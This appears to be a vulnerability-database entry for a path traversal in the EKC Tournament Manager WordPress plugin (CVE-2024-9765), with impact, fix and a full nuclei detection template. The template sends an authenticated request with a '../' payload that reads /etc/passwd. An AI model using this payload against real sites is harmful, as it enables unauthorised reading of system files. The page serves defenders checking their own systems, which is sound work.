EKC Tournament Manager WordPress plugin - Path Traversal

mediumseverity

6.5CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

EKC Tournament Manager WordPress plugin < 2.2.2 contains a path traversal caused by insufficient validation, letting logged in admin users download system files outside the WordPress directory.

Impact

Logged in admin users can download arbitrary system files, potentially exposing sensitive information.

Fix

Upgrade to version 2.2.2 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=ekc-backup&action=download&backup=../../../../../../../../../../../../../../../../../../../../../etc/passwd
Positive when: regex('root:.*:0:0:', body)

Run it with nuclei: nuclei -id CVE-2024-9765 -u <target>

The full check

id: CVE-2024-9765

info:
  name: EKC Tournament Manager WordPress plugin - Path Traversal
  author: Sourabh-Sahu
  severity: medium
  description: |
    EKC Tournament Manager WordPress plugin < 2.2.2 contains a path traversal caused by insufficient validation, letting logged in admin users download system files outside the WordPress directory.
  impact: |
    Logged in admin users can download arbitrary system files, potentially exposing sensitive information.
  remediation: |
    Upgrade to version 2.2.2 or later.
  reference:
    - https://wpscan.com/vulnerability/c86157b0-43f3-4e82-9697-7dd9401b48d6/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-9765
    cwe-id: NVD-CWE-noinfo
    epss-score: 0.0161
    epss-percentile: 0.76133
    cpe: cpe:2.3:a:lukashuser:ekc_tournament_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: lukashuser
    product: ekc_tournament_manager
  tags: cve,cve2024,lukashuser,ekc-tournament-manager,authenticated,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=ekc-backup&action=download&backup=../../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
        condition: and

References

https://wpscan.com/vulnerability/c86157b0-43f3-4e82-9697-7dd9401b48d6/

Use this check only on systems you are authorised to test. Where the data comes from